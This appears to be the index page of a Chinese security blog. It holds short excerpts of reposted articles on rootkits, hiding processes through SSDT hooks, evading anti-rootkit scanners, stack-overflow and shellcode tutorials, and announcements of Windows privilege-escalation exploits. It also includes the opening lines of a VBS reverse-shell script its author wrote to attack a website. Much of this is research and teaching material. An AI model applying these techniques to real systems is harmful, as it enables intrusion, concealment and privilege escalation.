简单认识Anti-RootKit(ZT)
摘要: 现在RK(rootkit)和ARK(anti- rootkit)的斗争已经进行了很久,在印象中最早出来的ARK工具是冰刃(IceSword),从冰刃开始出来到现在RK和ARK的斗争一直在继续,目前冰刃还是在流行当中,自己感觉也正是冰刃的出来才带动了当前流行的RK和ARK的斗争呵呵,现在很多病毒木马已经广泛的带有驱动,使用一些RK的技术和方法使自己更底层些更强大些,当前流行的ARK工具主要包括:隐藏进程检测,内核驱动检测,SSDT检测,代码HOOK检测,注册表隐藏的检测,隐藏文件的检测等一些功能的,下面谈谈自己对一些功能的简单愚见 嘻嘻。
..........
阅读全文
无耻的驱动加载法(ZT)
摘要: 方法一: 替换win32k.sys
在2k3的系统下ZwSetSystemInformation禁止了用户模式下加载驱动,只允许SMSS.exe加载win32k.sys。于是我们可以利用一下这个特点:
1. 注入SMSS.EXE
2. 打开SeLoadDriverPrivilege权限
3. 把原始的win32k.sys改名
4. 复制我们的驱动到\systemroot\system32下
5. 在SMSS.EXE中加载\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
阅读全文
实例解析蠕虫病毒的原理(ZT)
摘要: 一、蠕虫病毒具有自我复制能力
我们以普通的VB脚本为例来看看:
JavaScript代码
1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '创建一个文件系统对象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通过文件系统对象的方法创建了一个TXT文件。
.....................
阅读全文
软件漏洞分析入门[初级shellcode_定位缓冲区](ZT)
摘要: 跟贴中看到已经有不少朋友成功的完成了前面的所有例题,今天我们在前面的基础上,继续深入。每一讲我都会引入一些新的知识和技术,但只有一点点,因为我希望在您读完贴之后就能立刻消化吸收,这是标准的循序渐进的案例式学习方法
另外在今天开始之前,我顺便说一下后面的教学计划:
我会再用3~4次的讲座来阐述shellcode技术,确保大家能够在比较简单的漏洞场景下实现通用、稳定的溢出利用程序(exploit)
..........
阅读全文
软件漏洞分析入门[初级栈溢出D_植入任意代码](ZT)
摘要: 麻雀虽小,五脏俱全
如果您顺利的学完了前面4讲的内容,并成功的完成了第2讲和第4讲中的实验,那么今天请跟我来一起挑战一下劫持有漏洞的进程,并向其植入恶意代码的实验,相信您成功完成这个实验后,学习的兴趣和自信心都会暴增。
开始之前,先简要的回答一下前几讲跟贴中提出的问题
代码编译少头文件问题:可能是个人习惯问题,哪怕几行长的程序我也会丢到project里去build,而不是用cl,所以没有注意细节。如果你们嫌麻烦,不如和我一样用project来build,应该没有问题的。否则的话,实验用的程序实在太简单了,这么一点小问题自己决绝吧。另外,看到几个同学说为了实验,专门恢复了古老的VC6.0,我也感动不已啊,呵呵。
...............
阅读全文
软件漏洞分析入门[初级栈溢出C_修改程序流程](ZT)
摘要: 上节课没有操练滴东西,不少蠢蠢欲动的同学肯定已经坐不住了。悟空,不要猴急,下面的两堂课都是实践课,用来在实践中深入体会上节课中的知识,并且很有趣味性哦
信息安全技术是一个对技术性要求极高的领域,除了扎实的计算机理论基础外、更重要的是优秀的动手实践能力。在我看来,不懂二进制就无从谈起安全技术。
缓冲区溢出的概念我若干年前已经了然于胸,不就是淹个返回地址把CPU指到缓冲区的shellcode去么。然而当我开始动手实践的时候,才发现实际中的情况远远比原理复杂。
................
阅读全文
软件漏洞分析入门[初级栈溢出B_系统栈原理](ZT)
摘要: 扫盲班第三讲开课啦!
上节课我们用越过数组边界的一个字节把邻接的标志变量修改成0,从而突破了密码验证程序。您实验成功了吗?没有的话回去做完实验在来听今天的课!
有几个同学反映编译器的问题,我还是建议用VC6.0,因为它build出来的PE最适合初学者领会概念。而且这门课动手很重要,基本上我的实验指导都是按VC6.0来写的,用别的build出来要是有点出入,实验不成功的话会损失学习积极性滴——实验获得的成就感是学习最好的动力。
............
阅读全文
软件漏洞分析入门[初级栈溢出A_初识数组越界](ZT)
摘要: 本想来点大道理申明下研究思路啥的,看到大家的热情期待,稍微调整一下讲课的顺序。从今天开始,将用3~4次给大家做一下栈溢出的扫盲。
栈溢出的文章网上还是有不少的(其实优秀的也就两三篇),原理也不难,读过基本上就能够明白是怎么回事。本次讲解将主要集中在动手调试方面,更加着重实践。
经过这3~4次的栈溢出扫盲,我们的目标是:
领会栈溢出攻击的基本原理
能够动手调试简易的栈溢出漏洞程序,并能够利用漏洞执行任意代码(最简易的shellcode)
.............
阅读全文
软件漏洞分析入门[引子](ZT)
摘要: 您是否梦想过能够像电影上演的那样黑进任意一台机器远程操控?您的梦想是否曾经被书店里边满架子的反黑,防毒,擒木马的扫盲书强暴的体无完肤?
从今天开始,准备陆续发一系列关于软件漏洞方面基础知识的帖子,包括软件漏洞的研究价值,研究方法,堆栈利用的基础知识,shellcode的调试方法,漏洞调试方法,漏洞分析,漏洞挖掘,软件安全性测试等等,此外还将介绍一些metasploit架构和fuzz测试方面的入门知识。
软件漏洞分析,利用,发掘是当今安全技术界中流砥柱级别话题,如果您关注过black hat或者defcon之类的顶级安全技术峰会的话,就知道我不是在吹牛了。可惜的是这方面的中文资料很少,偶尔有一篇比较优秀的文章但又不够系统,目前为止也没有形成像破解技术这样的讨论风气,菜鸟们在黑灯瞎火的夜晚瞎折腾,没有交流和指导,兴趣就像被拔了气弥儿芯的车胎,很快就泄气了。
虽然漏洞分析与利用与破解在技术上各有侧重点,但逆向基础是共同的。以我个人的经验,能做crack的朋友只要稍加进修就能入门。就算没有任何汇编基础和逆向经验的朋友也不用担心,因为这
阅读全文
对 Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏任务管理器进程名 的一点完善(ZT)
摘要: 通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
1 通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq.exe;taskmgr.exe;
2 通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
...........
阅读全文
让EXE导出函数(ZT)
摘要: 偶然发现OllyDBG.exe导出了一堆函数,这些函数都是供其插件调用的。对这种体系结构很感
兴趣,想弄清楚它的实现原理。后来又看到梁肇新的书《编程高手箴言》第278页提到的调用
门,觉得都应该差不多。
三种不同的解决办法(原理可能是一样的,:)):
1)在导出函数声明之前加上__declspec(dllexport)。例:
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
阅读全文
icesword 驱动部分分析(ZT)
摘要: icesword.exe 在执行的时候会放出一个驱动程序 ispubdrv.sys .
icesword.exe 装载 这个驱动,这个驱动安装后就不会卸载。直到系统重新启动。这可能是因为驱动中调用了
PsSetCreateThreadNotifyRoutine 函数.下面是这个函数在 ddk 中的介绍。
........
阅读全文
利用伪造内核文件来绕过IceSword的检测(ZT)
摘要: 一、为什么需要伪造内核:
IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被 patch,它直接读取内核文件(以下简称“ntoskrnl.exe”),然后自己分析ntoskrnl.exe 的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch 过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过
.....................
阅读全文
WIN下获取kernel基址的shellcode探讨(ZT)
摘要: [经典溢出攻击流程]
———————————
1. 查找Kernel32.dll基地址;
2. 查找GetProcAddress()函数地址;
3. 查找其它API函数地址;
4. CreateProcess();
5. 远程连接。
我们都知道WINDOWS的系统功能不像UNIX的系统调用那样实现,由于WINDOWS版本的不断更新,使得系统调用对SHELLCODE几乎起不到作用。
但是WINDOWS是靠DLL动态链接库来实现,这就是说,如果能从KERNEL32.DLL中获取LoadLibrary()和GetProcAddress()函数的地址,我们就可以调用WINDOWS下的所有函数了。
所以我们需要对KERNEL32.DLL进行地址定位,这也是本文的目的。
................
阅读全文
SEH源码赏析之C篇(ZT)
摘要:
1.起因
C++程序员对try,catch,throw都应该很熟悉,能知道VC怎么实现它的人就不多了,不过网络世界使很多人知道了它与SEH (structured exception handling)有密切关系,我也不例外,也是在若干年前从网络知道了SEH,并且大致也知道SEH的流程.但是和多数人一样在我的实践也很少直接使用 SEH,对SEH也就仅限于网络上一些文章的介绍.曾经在用Windbg对某些软件作分析,我遇到了断点失效的情况,查找资料介绍是SEH中的 Handler清除了调试寄存器,在分析.....................
阅读全文
饶过现代Anti-Rookit工具的内核模块扫描(ZT)
摘要: 本文描述了一些方法,可以饶过目前主流的现代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
阅读全文
TCP版backshell的VBS脚本
摘要: '搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷
'by 009, baicker@hotmail.com
'date:071221
Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................
阅读全文
在同一个进程空间运行两个程序(ZT)
摘要:
众所周知,bo2k可以在一个指定的进程空间(比如explorer.exe进程)做为一个线程运行。本文试图找出一种方法,使得任意exe都可以在其他进程中以线程运行(当然,这里说的"任意"是有条件的,下面会讲到)。
为行文简单起见,我把先加载的exe称为宿主,后加载的exe称为客户。对于上面的例子,explorer.exe为宿主,bo2k.exe为客户。
基本知识
每一个exe都有一个缺省加载基址,一般都是0x400000。如果实际加载基址和缺省基址相同,程序中的重定位表就不需要修正(fixup),否则,就必须修正重定位表;
阅读全文
Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3
摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 测试通过
之前的版本只能xp下用,这个2k3也可以了,其实前段时间朋友给过我一个这个漏洞的1day,但是朋友的东西不能乱发,这个是自己写的,发出来大家恶心一下。
阅读全文
Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability for xp 2k3
摘要: Win2k3_CN SP1 msjet40.dll ver 4.0.9025.0 测试成功
WinXP_CN SP2 msjet40.dll ver 4.0.8618.0 测试成功
mdb_d_exp.exe 为debug版本
mdb_r_exp.exe 为relrease版本
之前的反弹sc有问题,请重新下载测试(071218)
阅读全文